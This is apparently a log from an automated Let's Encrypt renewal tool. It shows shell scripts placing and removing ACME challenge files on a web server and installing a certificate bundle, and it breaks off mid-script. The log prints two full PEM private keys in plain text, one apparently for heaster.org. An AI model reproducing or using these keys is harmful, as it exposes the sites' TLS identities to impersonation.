AdZ5AgQCBIH9BIH6APgAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVp
dwAAAZ9KnV2xAAAEAwBIMEYCIQCblNgO5mdMqup0EwIrP1YuL3hm9RH5tT0OSkCu
hkpR+wIhAI8DIMS7RpADW3Dh9wBVSjRC853KNdFr8uaA7S29t4N/AH0AbP5QGUOo
XqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfSp1fQgAIAAAFABR74JMEAwBG
MEQCIBr6ZZSGwcqYVSzpU4kMPQDaEfZH4Yh1v8YjQMAAMHzhAiBnUFECflplZEwo
TUqyUdxhgs8ec1NzOoWx2Rq7hOQZHjANBgkqhkiG9w0BAQsFAAOCAQEAYfQn6yn2
78RsYcm+Az0YkLZic4uoWQTLh3tyrrDarG/8jGXU/xLZp3dHhhToMU1h66KLc596
NW7Eh7zMEJWsJqi/l8pXYJs9roCVfUqHOyGMxsFnKg1MyI3NdPIiR6M+vKarVulJ
TQVRkpyk47F3tYFBY+7pMVGze6LNYCF5wNaJ4suKvrfPAk2g8Q41I307T4lRTT1g
slQL9kEEW2dx/QZsvb7Ni4zzvKSp82qq4lVcxozwCu2XMs/vF/91qeYDclO7TImA
U4bEgCPLspH4I6iZeZMvoHFnGSVhsuzXv0MyexenhiBTWEH1/janGCrBS9kJ1+uO
YhD2wtEtZsXr2Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC5V5BdvXQG2k1v
1iHOyGvgn1aaUgroJyBlbCbqDN9fwA/ZNXadrGHIsLuC9xcqtR/2265WfXP5F+81
87Z4oOnCLcgZkrsBh4CetW9rIJbn1+FVm0aoomBA0Xp9O2Rs22lDWvuyxvsi6lQI
4jGj49xx+uj1XviOn67W3MdCr9WSVDTvBJVdN82Fw5j9QIx7RyWT5XEs/HrIfgxV
r9NdCtC+G4xtEhPbH27LXZtrKloYE2e0jSetMt6pjfInwy4/oMjb/hayl2VpJC+r
vZwtSHXBb96sohKGHmhNcCgxxGO3kZf/Ud/+t2KMNtdbn8eOU89pYQPAcODDf7Pd
+xrpFpLFAgMBAAECggEAFfU7ePpGsmp56COyB6yTqJ4CsEUYs7OxpofEqHqemtpx
8OWLnayG597q/YjGlDG3OBODY7h4h+yqU3WsiugNfwrWJ77MLFHgZBfSERq1piwG
Wee2hv4Nx0Afcedvw2cki8KjX+UrwFGLY9i10YPftxqR2kLGfHyLReYMLr4O4HH+
LVCHraG1izbt2rGtrCl8Q/lY6Wm2Cobz0ir+gxq6MvGZDyBdNG412x9wTaxtpHkO
DVBjZMesXHkNtSZbVkb8qCOeodqPKjg8uzeCA62Jv0vKbUJJ5wf2i0Q1k8tSEISz
N3py98NFNIQ4AvOiNtv4SfXEy8wZ7zkGKngZqkTxlQKBgQD1ryPiNAjYcQqKlaLA
sxaG4u5x9kWiaY6zNtjHME6ovJN3Tn6G0XgkZtABgS0KR54d7KLjwMZR8TmWl7M2
rOJPu9tJv9K4dMr+Qi5KRaJ/YO0xFuNdul6VAtXGEexp0+GTjomz1SpO+69Nkgjv
46mDUbngjTtUFflk5rtX6nRMZwKBgQDBH85sSg3TkAq2fmdqD3UnMC5IVHd+Df2c
+31rkYJhbkndmAojQCnNrzZd/ZKB49KAsBs3IAhpSDan1GBx5dIrj9sB9iWh7WlD
PB4WxS+i7qHEpCbbcE1rBIZ2eoHOCvxxSKq5tkaQGqd1gSbr5Q/xW5Uyu5qPdW5N
tSek70Vr8wKBgQCSHcyonqvYFjrfuyjllF1EcbjAfGhjtIXTHj6FELzna+gEX+Gu
Suw6Mg9ppark3z0xrOgfrioE2AOZBbXnQaEDLMW5seUgIQ4Nc8zWDV4chcfrlyI4
Pzw7QUlkmIpTUllpia9qDdAw000qRD0edvb9C+ERpM1xL/R4RyWKnvz15wKBgQCa
qaNCHChohxHdRuwBB3IWOULHkEXGAORbxRiTfgvBhXbIbUupIWiZHbnXmgyr000w
3FhfVFsIHdoPnEjEzn37fxCwyHUo8h37x3h9Wduli6Cn/6JS2ORXUV9yIPg1j5zO
CJkZc32dSItV0mHeRyr2axbYc1/7hdsZhnvCXhDluwKBgQC8u3VtnMyNgfzg8z9d
yvK5qq0gUCZYS+Hz/MMtjbT4/OA2xCi3q4DnVBFsxxvk1fl8g5JjTUY3Ru9csU0l
xPNJDtESSZnAMO+dmA3zHiqijvW0qPF+gWM++E6Av5yf3eAroX3fBkGFvOTmowRm
3PEeUFRu0eGnN1M7FUGu/jLQMw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-10 06:00:57: Establishing a connection
2026-07-10 06:00:58: Establishing a connection
2026-07-10 06:00:58: 

PUT: /tmp/pkp100785

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-10 06:00:58: 

chmod 755 /tmp/pkp100785; /tmp/pkp100785; rm /tmp/pkp100785

2026-07-10 06:00:58: 


1


2026-07-10 06:00:59: Establishing a connection
2026-07-10 06:00:59: 

PUT: /tmp/pkp702066

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > Oh3viANHAP2raqY7AIOrgjCAWNh4Lob9AyICMCdNlyc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Oh3viANHAP2raqY7AIOrgjCAWNh4Lob9AyICMCdNlyc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Oh3viANHAP2raqY7AIOrgjCAWNh4Lob9AyICMCdNlyc


2026-07-10 06:00:59: 

chmod 755 /tmp/pkp702066; /tmp/pkp702066; rm /tmp/pkp702066

2026-07-10 06:00:59: 




2026-07-11 06:00:02: Establishing a connection
2026-07-11 06:00:02: Establishing a connection
2026-07-11 06:00:02: 

PUT: /tmp/pkp823532

#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-11 06:00:11: 

chmod 755 /tmp/pkp823532; /tmp/pkp823532; rm /tmp/pkp823532

2026-07-11 06:00:11: 


1


2026-07-11 06:00:13: Establishing a connection
2026-07-11 06:00:13: 

PUT: /tmp/pkp932157

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > AJmYJ967ND5EapJAj7gW9MUz0iY5cmN3ynx9Uy2TzlI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AJmYJ967ND5EapJAj7gW9MUz0iY5cmN3ynx9Uy2TzlI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AJmYJ967ND5EapJAj7gW9MUz0iY5cmN3ynx9Uy2TzlI
cat > f_-HKh_ChWLLW12QA7SSVPYi-KYTeY4Ppzs02i3fcFc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
f_-HKh_ChWLLW12QA7SSVPYi-KYTeY4Ppzs02i3fcFc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 f_-HKh_ChWLLW12QA7SSVPYi-KYTeY4Ppzs02i3fcFc


2026-07-11 06:00:13: 

chmod 755 /tmp/pkp932157; /tmp/pkp932157; rm /tmp/pkp932157

2026-07-11 06:00:13: 




2026-07-11 06:00:24: Establishing a connection
2026-07-11 06:00:24: 

PUT: /tmp/pkp368974

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm AJmYJ967ND5EapJAj7gW9MUz0iY5cmN3ynx9Uy2TzlI
rm f_-HKh_ChWLLW12QA7SSVPYi-KYTeY4Ppzs02i3fcFc


2026-07-11 06:00:24: 

chmod 755 /tmp/pkp368974; /tmp/pkp368974; rm /tmp/pkp368974

2026-07-11 06:00:24: 




2026-07-11 06:00:24: Establishing a connection
2026-07-11 06:00:25: 

PUT: /tmp/pkp900987

#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt

cat > $temp_file <<'endmsg'
bd:58:74:55:a9:ca:6a:4e:5b:b8:f8:5b:bb:1e:2e:fb

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBVtTu9AT5qGlD/S6uZ8u4negMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzExMDUwMTUzWhcNMjYxMDA5MDUwMTUyWjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMP5
nBFDQQhQrmy29MSocqsykkGGkBp2UPwluiCLRMq9aRTLhYHWQaAPB7jJxtQVUeT2
qFHFQ73h1qHLnLimhN39q8aXJFtIrp7AO1wCSpfkoYEynyWG54wiHK7Gxx5kwKXN
SVLkIu7kJ6tD0WYpWilXyr/AE6QMuta4kPug+w+23E1DlSnKZYNXfYJxOZDBCFxy
WRouBzTaVfrIXcwdMzbCcXRc4fyR1AWF0xFlLZsTUN80QHUMX2/rBq2XhDtw7jn9
YAxPT/06oaiyjDQSDWlHg7Irm8qYRw7A0whFzHJSIiBPlVU4WSWSWfL9lXFrcOmN
F7T2IEXyD/AWvNhhRzcCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSIPunvhIJv
5eGfOCcqSsPfTeFl7jAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyBDDAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5j
LmxlbmNyLm9yZy8zMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwCvZ4g7
V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ9Pw0AVAAAEAwBIMEYCIQCD
jI1iS9ZjHcCNe7rCLRXvnlQWqXBeJbYhjRchBVV7VQIhAO50aQ2jPQxezuW2I7g+
zq57fFSb3Ahx5i4axFxJk4FnAH4ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKU
Uu6VUF8AAAGfT8NAJAAIAAAFAAyLDPAEAwBHMEUCIBk5TLygD/4inQUChKetIOyI
R5EL/zf8F7JTmr8Ai0A3AiEAp5DUO3AjMKluk+oLpKXgYtJ6yYIu4ts2eiKkAehz
/ZgwDQYJKoZIhvcNAQELBQADggEBALz2YTQu0jvKJgqOu415qR1BvxkenTg5P/09
yRGdd7j12G4mNCYsEO2hSPBA483TonkQOibIrVW+ziQivD7zYe7sUGLIbA1QgDGu
rLQsw9KsSpkv6zLfGUxYknyUZTBJdsZM+Z1Ao8aL36WnZrwDD69lZghfTWhY9yig
HYlCEA1RrYlkY/1Ua27TUjbBttFy3PlYuMALYwOJ9oOAeChzP8hWA6tG8aEw7pKZ
iyYyjOtSOUvgzbv2wsJF4uFS1Gz7sw/2/0wdCd4PDBs8A3/wMDkYacgBM1amPU7Z
DfsmVvlnjKq7Ft6vWemBVHHzmQWn1ESuo4CqRnplDW3qz2Ky6fM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDD+ZwRQ0EIUK5s
tvTEqHKrMpJBhpAadlD8Jbogi0TKvWkUy4WB1kGgDwe4ycbUFVHk9qhRxUO94dah
y5y4poTd/avGlyRbSK6ewDtcAkqX5KGBMp8lhueMIhyuxsceZMClzUlS5CLu5Cer
Q9FmKVopV8q/wBOkDLrWuJD7oPsPttxNQ5UpymWDV32CcTmQwQhcclkaLgc02lX6
yF3MHTM2wnF0XOH8kdQFhdMRZS2bE1DfNEB1DF9v6watl4Q7cO45/WAMT0/9OqGo
sow0Eg1pR4OyK5vKmEcOwNMIRcxyUiIgT5VVOFklklny/ZVxa3DpjRe09iBF8g/w
FrzYYUc3AgMBAAECggEAWQrDp3BITw/hgJHMOsJSf4iVvWH3fZ5+g2Jc5EaC9h8D
bKhgO7Lu1Fuf5Y0AYwJg2EheB/E6Kz8+dvr9dURroDWO48duhG9Mr+Kl1dNQsxz1
aK9ocfOOpzQkliDI/f1HLs5MX3Y6jRJrF7zTmrh1N82k2GTcR7BlAASSE1J8YBGo
9Lk3+EqWNz5PT3cEm6rPOhrwebzg7RavKLBJXo98GVvP4F63mcSypnu9EXA/8QRe
wgqatek+AZnpi43Ydb4rthMFO+5kWiK10ti1J5XD5zq05vdzkIpHZ4MPwR9toIxL
BSStISmR8LkQYD8y7/gcpyrDN7n+3iN3mIwzYSZUoQKBgQDntA0DRzZ0cTXI7RvT
/vrVz8tSrNCbrmH1IN3DZEsQtYi3bfOEhn0tebcqjEHYPipmT9+zEpWOp6ZljKTt
yQPKKPfMHObWXevljcDIcGedM1vL9kEsYYBeY55n3h6aWZZw4ndWrZZbnCgoX4QF
RrIQeSDIEZZ3kMZ9sbLcXUObcQKBgQDYhnPWICWDrlbHrgNwSvsfe0JAeoHOcgVP
jOYFM6dvasL8+F3/8eVCTP4Tbw69YyGtWkPXZNH21cQ2EDJjPs/KUVtz+stH3ZOq
9SNEgWYhCegAqJymwnaKBfXUvusNMo0mjkZFFkGLsIpzHDNOD691cJdqEgtKCKNO
q1YLZ2epJwKBgQDXmzvgqQuLHy2lYr5abxKKk2nn7NfRhluw9nxlrZYMXmByD+Zi
k6M4BeLjvNAooPBjdD/9KnXw4SB9rnpqqnrUS3sKfHpxT8SLP3T9D1vbdEcfbG8J
FVGWg6yLiq1/g43yTUovZihb5tuXdgorvrVDjvNqOLODXzzVCd4eIMsggQKBgHaI
XD97R64nsYAMhftiQMlCK8mqhwciKkAbTQzJ8z4uPuJHgQYNQUkjZu/ymyoYa6Y/
xOXUXpD3Azvpb/wetZf3I86BG+mSpjUvj4gAIo2xo51AsMklqcjzbFlzzq9h3h2e
Q1+syGMVWSWc6YUxVwc+hNVfXWjBA82cRDVn/Tp/AoGAXY7MzB4ZmpYnNJ02JTzU
u4te+COhpkoU9+sj4lTEg+8q4F5MnLXFeJXBQ6ZMIRuXWHmuK3mTUMbTGuftUYDa
dEph8rrJgVguC4M0qHH+ap+n+2+TrUfWCkaBq117nF6Ga5JLjYm1kIQrX5jodCOw
hZs+N1sYujn8Rr7YYvQC2is=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
